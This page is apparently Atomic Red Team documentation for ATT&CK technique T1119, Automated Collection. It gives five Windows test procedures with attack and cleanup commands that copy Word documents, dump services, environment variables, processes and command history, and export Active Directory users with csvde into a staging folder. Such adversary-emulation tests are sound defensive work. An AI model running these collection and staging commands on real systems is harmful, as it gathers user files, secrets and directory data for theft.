T1119

Description from ATT&CKCopy Anchor Link

Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a Command and Scripting Interpreter to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals.

In cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data.(Citation: Mandiant UNC3944 SMS Phishing 2023)

This functionality could also be built into remote access tools.

This technique may incorporate use of other techniques such as File and Directory Discovery and Lateral Tool Transfer to identify and move files, as well as Cloud Service Dashboard and Cloud Storage Object Discovery to identify resources in cloud environments.

Source

Atomic TestsCopy Anchor Link

• Atomic Test #1: Automated Collection Command Prompt
• Atomic Test #2: Automated Collection PowerShell
• Atomic Test #3: Recon information for export with PowerShell
• Atomic Test #4: Recon information for export with Command Prompt
• Atomic Test #5: Enumerate Active Directory Users via PowerShell with csvde

Atomic Test #1: Automated Collection Command PromptCopy Anchor Link

Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_command_prompt_collection to see what was collected.

Supported Platforms: Windows

auto_generated_guid: cb379146-53f1-43e0-b884-7ce2c635ff5b

Attack Commands: Run with command_prompt!Copy Anchor Link

mkdir %temp%\T1119_command_prompt_collection >nul 2>&1
dir c: /b /s .docx | findstr /e .docx
for /R c:\ %f in (*.docx) do copy /Y %f %temp%\T1119_command_prompt_collection

Cleanup CommandsCopy Anchor Link

del %temp%\T1119_command_prompt_collection /F /Q >nul 2>&1

Atomic Test #2: Automated Collection PowerShellCopy Anchor Link

Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_powershell_collection to see what was collected.

Supported Platforms: Windows

auto_generated_guid: 634bd9b9-dc83-4229-b19f-7f83ba9ad313

Attack Commands: Run with powershell!Copy Anchor Link

New-Item -Path $env:TEMP\T1119_powershell_collection -ItemType Directory -Force | Out-Null
Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination $env:TEMP\T1119_powershell_collection}

Cleanup CommandsCopy Anchor Link

Remove-Item $env:TEMP\T1119_powershell_collection -Force -ErrorAction Ignore | Out-Null

Atomic Test #3: Recon information for export with PowerShellCopy Anchor Link

collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt to see what was collected.

Supported Platforms: Windows

auto_generated_guid: c3f6d794-50dd-482f-b640-0384fbb7db26

Attack Commands: Run with powershell!Copy Anchor Link

Get-Service > $env:TEMP\T1119_1.txt
Get-ChildItem Env: > $env:TEMP\T1119_2.txt
Get-Process > $env:TEMP\T1119_3.txt

Cleanup CommandsCopy Anchor Link

Remove-Item $env:TEMP\T1119_1.txt -ErrorAction Ignore
Remove-Item $env:TEMP\T1119_2.txt -ErrorAction Ignore
Remove-Item $env:TEMP\T1119_3.txt -ErrorAction Ignore

Atomic Test #4: Recon information for export with Command PromptCopy Anchor Link

collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt to see what was collected.

Supported Platforms: Windows

auto_generated_guid: aa1180e2-f329-4e1e-8625-2472ec0bfaf3

Attack Commands: Run with command_prompt!Copy Anchor Link

sc query type=service > %TEMP%\T1119_1.txt
doskey /history > %TEMP%\T1119_2.txt
wmic process list > %TEMP%\T1119_3.txt
tree C:\AtomicRedTeam\atomics > %TEMP%\T1119_4.txt

Cleanup CommandsCopy Anchor Link

del %TEMP%\T1119_1.txt >nul 2>&1
del %TEMP%\T1119_2.txt >nul 2>&1
del %TEMP%\T1119_3.txt >nul 2>&1
del %TEMP%\T1119_4.txt >nul 2>&1

Atomic Test #5: Enumerate Active Directory Users via PowerShell with csvdeCopy Anchor Link

Leverages the native Windows administration tool csvde.exe executed via PowerShell to export Active Directory user objects and properties to a custom staging directory with a timestamped filename. This technique replicates "Living off the Land" discovery, automated collection, and staging tactics historically utilized by the menuPass threat group (G0045) to profile target domains.

Supported Platforms: Windows

auto_generated_guid: 15e9da28-5d0f-4c57-9f73-7c1b961343e0

Attack Commands: Run with powershell!Copy Anchor Link

$StageDir = "C:\Users\Public\Libraries\staging"
if (-not (Test-Path -Path $StageDir)) {
    New-Item -ItemType Directory -Path $StageDir | Out-Null
}
$TS = Get-Date -Format "yyyyMMdd_HHmmss"
$OutputFile = Join-Path $StageDir "ad_export_$TS.csv"
$CsvdeArgs = @(
    "-f", $OutputFile,
    "-r", "(&(objectClass=user)(objectCategory=person))",
    "-l", "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
)
& csvde.exe @CsvdeArgs

Cleanup CommandsCopy Anchor Link

Remove-Item -Path "C:\Users\Public\Libraries\staging\ad_export_*.csv" -ErrorAction SilentlyContinue
if (Test-Path "C:\Users\Public\Libraries\staging") {
    if ((Get-ChildItem "C:\Users\Public\Libraries\staging").Count -eq 0) {
        Remove-Item -Path "C:\Users\Public\Libraries\staging" -Force
    }
}

Atomic test(s) for this technique last updated: 2026-11-06 00:46:13 UTC